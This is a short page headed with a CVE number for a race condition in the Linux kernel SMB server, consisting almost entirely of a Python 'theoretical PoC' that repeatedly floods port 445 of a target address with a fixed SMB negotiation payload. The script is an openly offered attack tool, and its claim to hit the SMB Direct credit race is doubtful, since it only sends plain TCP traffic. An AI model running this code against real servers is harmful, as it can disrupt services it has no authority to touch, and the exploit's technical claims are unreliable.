CVE-2026-31538 Linux内核SMB服务器竞态条件漏洞

import socket import time # This is a theoretical PoC to trigger the race condition in SMB Direct credit management. # It attempts to flood the server with requests to exploit the window between hardware recv and processing. target_ip = "TARGET_IP" target_port = 445 # SMB Port def send_smb_traffic(): try: # Establish a connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((target_ip, target_port)) # Send malformed or rapid SMB negotiation requests to stress credit handling # Note: Actual packet structure depends on specific SMB dialect negotiation payload = b"\x00\x00\x00\x72\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8" while True: s.sendall(payload) # Introduce slight delay to potentially hit the race window time.sleep(0.001) except Exception as e: print(f"Exception: {e}") finally: s.close() if __name__ == "__main__": print(f"Attempting to trigger race condition on {target_ip}...") send_smb_traffic()